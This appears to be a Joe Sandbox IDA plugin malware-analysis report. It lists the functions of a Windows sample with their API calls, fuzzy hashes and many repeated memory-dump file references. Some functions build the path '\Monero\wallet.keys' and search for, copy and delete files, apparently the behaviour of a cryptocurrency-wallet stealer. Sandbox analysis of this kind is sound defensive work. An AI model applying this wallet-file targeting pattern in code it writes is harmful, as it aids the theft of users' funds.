Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 956ab430b462653c2ea80518e113568f6dbe15af5718c6158f784d8c0d6a4b9c
Instruction ID: 5806fd2812f2892a9b8e505e78e0a6eeb4c110cf7b71dd1bea5713e19e83d968
Opcode Fuzzy Hash: 956ab430b462653c2ea80518e113568f6dbe15af5718c6158f784d8c0d6a4b9c
Instruction Fuzzy Hash: 16D09E74D0420CDBCB04DFE09949ADDBF79AB1D615F10065AED0963640DB315455CBA5

Function 009AB370 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

Part of subcall function 009BA380: lstrlen.KERNEL32(?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009BA395
Part of subcall function 009BA380: lstrcpy.KERNEL32(00000000), ref: 009BA3D4
Part of subcall function 009BA380: lstrcat.KERNEL32(00000000,00000000), ref: 009BA3E2

Part of subcall function 009BA2F0: lstrcpy.KERNEL32(00000000,?), ref: 009BA342
Part of subcall function 009BA2F0: lstrcat.KERNEL32(00000000), ref: 009BA352

Part of subcall function 009BA270: lstrcpy.KERNEL32(?,009C0DFF), ref: 009BA2D5

Part of subcall function 009A9E60: LocalAlloc.KERNEL32(00000040,?), ref: 009A9EFE

lstrlen.KERNEL32(00000000), ref: 009AB820
lstrlen.KERNEL32(00000000), ref: 009AB834

Part of subcall function 009BA170: lstrcpy.KERNEL32(?,00000000), ref: 009BA1B6

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID:
API String ID: 3073930149-0
Opcode ID: 08b1b73395370413e8da2e862268174408de8ce18fd4a7568313b8dbfe1ea306
Instruction ID: f6e3b05b423816ffe7f73066b7b517350a017e97890344389e9ecea1ff86eef0
Opcode Fuzzy Hash: 08b1b73395370413e8da2e862268174408de8ce18fd4a7568313b8dbfe1ea306
Instruction Fuzzy Hash: 27E1EE72914118ABCF09EBA4CD92FEE737CAF94310F404559F517620A2EF756E48CBA2

Function 009AAD70 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

Part of subcall function 009BA380: lstrlen.KERNEL32(?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009BA395
Part of subcall function 009BA380: lstrcpy.KERNEL32(00000000), ref: 009BA3D4
Part of subcall function 009BA380: lstrcat.KERNEL32(00000000,00000000), ref: 009BA3E2

Part of subcall function 009BA2F0: lstrcpy.KERNEL32(00000000,?), ref: 009BA342
Part of subcall function 009BA2F0: lstrcat.KERNEL32(00000000), ref: 009BA352

Part of subcall function 009BA270: lstrcpy.KERNEL32(?,009C0DFF), ref: 009BA2D5

lstrlen.KERNEL32(00000000), ref: 009AAFEA
lstrlen.KERNEL32(00000000), ref: 009AAFFE

Part of subcall function 009BA170: lstrcpy.KERNEL32(?,00000000), ref: 009BA1B6

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: ea27607523f94da27b1ff57ab4127feec0bdc2693b1b3823ecc26c9f0da942ad
Instruction ID: fb0e1984e7c7de5d2e594281c9e3aaf989a4af475a4f3631e882f8ec6fadfdb6
Opcode Fuzzy Hash: ea27607523f94da27b1ff57ab4127feec0bdc2693b1b3823ecc26c9f0da942ad
Instruction Fuzzy Hash: C8911072914108ABCF08EBA4DD96FEE737CAF95310F404529F517A3091EF746A48CBA6

Function 009AB0B0 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

Part of subcall function 009BA380: lstrlen.KERNEL32(?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009BA395
Part of subcall function 009BA380: lstrcpy.KERNEL32(00000000), ref: 009BA3D4
Part of subcall function 009BA380: lstrcat.KERNEL32(00000000,00000000), ref: 009BA3E2

Part of subcall function 009BA2F0: lstrcpy.KERNEL32(00000000,?), ref: 009BA342
Part of subcall function 009BA2F0: lstrcat.KERNEL32(00000000), ref: 009BA352

Part of subcall function 009BA270: lstrcpy.KERNEL32(?,009C0DFF), ref: 009BA2D5

lstrlen.KERNEL32(00000000), ref: 009AB2AE
lstrlen.KERNEL32(00000000), ref: 009AB2C2

Part of subcall function 009BA170: lstrcpy.KERNEL32(?,00000000), ref: 009BA1B6

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 4dc9fe2fdc2ac9f285ae0548e0714eb21d2501e17e69376064a80e9230fc3a45
Instruction ID: de74a33fe430a8a12fe5df8cee4c6914b9cb2f6448b33e62929f75c4a9d22a0b
Opcode Fuzzy Hash: 4dc9fe2fdc2ac9f285ae0548e0714eb21d2501e17e69376064a80e9230fc3a45
Instruction Fuzzy Hash: 0C710E72914118ABCF04EBA4DD96FEE777DAF95310F404528F507A7092EF746A08CBA2

Function 009B4690 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 009B8880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 009B88AB

lstrcat.KERNEL32(?,00000000), ref: 009B46CA
lstrcat.KERNEL32(?,0148E1D0), ref: 009B46E8

Part of subcall function 009B43F0: wsprintfA.USER32 ref: 009B440C
Part of subcall function 009B43F0: FindFirstFileA.KERNEL32(?,?), ref: 009B4423

Part of subcall function 009B43F0: StrCmpCA.SHLWAPI(?,009C0FAC), ref: 009B4451
Part of subcall function 009B43F0: StrCmpCA.SHLWAPI(?,009C0FB0), ref: 009B4467
Part of subcall function 009B43F0: FindNextFileA.KERNEL32(000000FF,?), ref: 009B465D
Part of subcall function 009B43F0: FindClose.KERNEL32(000000FF), ref: 009B4672

Part of subcall function 009B43F0: wsprintfA.USER32 ref: 009B4490
Part of subcall function 009B43F0: StrCmpCA.SHLWAPI(?,009C08BA), ref: 009B44A5
Part of subcall function 009B43F0: wsprintfA.USER32 ref: 009B44C2
Part of subcall function 009B43F0: PathMatchSpecA.SHLWAPI(?,?), ref: 009B44FE
Part of subcall function 009B43F0: lstrcat.KERNEL32(?,0148F9E0), ref: 009B452A
Part of subcall function 009B43F0: lstrcat.KERNEL32(?,009C0FC8), ref: 009B453C
Part of subcall function 009B43F0: lstrcat.KERNEL32(?,?), ref: 009B4550
Part of subcall function 009B43F0: lstrcat.KERNEL32(?,009C0FCC), ref: 009B4562
Part of subcall function 009B43F0: lstrcat.KERNEL32(?,?), ref: 009B4576
Part of subcall function 009B43F0: CopyFileA.KERNEL32(?,?,00000001), ref: 009B458C
Part of subcall function 009B43F0: DeleteFileA.KERNEL32(?), ref: 009B4611

Part of subcall function 009B43F0: wsprintfA.USER32 ref: 009B44E7

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 8340256a966c73e5e537a86d70bd7b5667315cf56ce0d35d45d8524f70954c75
Instruction ID: b10008c4caf2be994cfbc1248c631a2a88a2a2e5414b0677f91850dd2e82d194
Opcode Fuzzy Hash: 8340256a966c73e5e537a86d70bd7b5667315cf56ce0d35d45d8524f70954c75
Instruction Fuzzy Hash: D441C6BA900108ABCB54FBA4ED53FEE377CA7DD300F008558B54D97181ED756A888BE2

Function 009A66B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 009A6756
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 009A67A3

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 13aaeb469674d1751cecd034fa9b072f3861b06cdc60af0d6e88e433c7ab1329
Instruction ID: 4cf2e5433a8746aa5c6833978255e230ce3fe5e5c02290e4a76c0f7998016217
Opcode Fuzzy Hash: 13aaeb469674d1751cecd034fa9b072f3861b06cdc60af0d6e88e433c7ab1329
Instruction Fuzzy Hash: 3941EC74A00209EFCB44CF98C494BADBBB5FF48314F2486A9E9499B345D735EA81CF84

Function 009B4B30 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 009B8880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 009B88AB

lstrcat.KERNEL32(?,00000000), ref: 009B4B6A
lstrcat.KERNEL32(?,0148F430), ref: 009B4B88

Part of subcall function 009B43F0: wsprintfA.USER32 ref: 009B440C
Part of subcall function 009B43F0: FindFirstFileA.KERNEL32(?,?), ref: 009B4423

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 6f1e9a529da394ce430eca6b17eb5518106025950dc16e221a2774ef3691a1aa
Instruction ID: c0565bfd93d7762de639fc14f55cc4cbd2dfbd47f9588d17530666fbc0cef26f
Opcode Fuzzy Hash: 6f1e9a529da394ce430eca6b17eb5518106025950dc16e221a2774ef3691a1aa
Instruction Fuzzy Hash: A201967A90020C67CB18FBA4DD86FDA773C9BA8300F404154B64957191EEB4AAC98BE1

Function 009A10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 009A10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 009A10F7

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 738544c2bc28d4e9cf70e8dac54dcbb7f2df3a9b81dd07ba91ebd18e38a8d099
Instruction ID: 34c815236e59b4917259b3494950c821dfe6db64e2c27706931cbaa8e0019309
Opcode Fuzzy Hash: 738544c2bc28d4e9cf70e8dac54dcbb7f2df3a9b81dd07ba91ebd18e38a8d099
Instruction Fuzzy Hash: 96F027B1641218BBE7149BA8AC59FAFBBECE709B05F300458F544E3280D9719F00CAA0

Function 009B8830 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,009A1B94,?,?,009C554C,?,?,009C0E07), ref: 009B883F

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
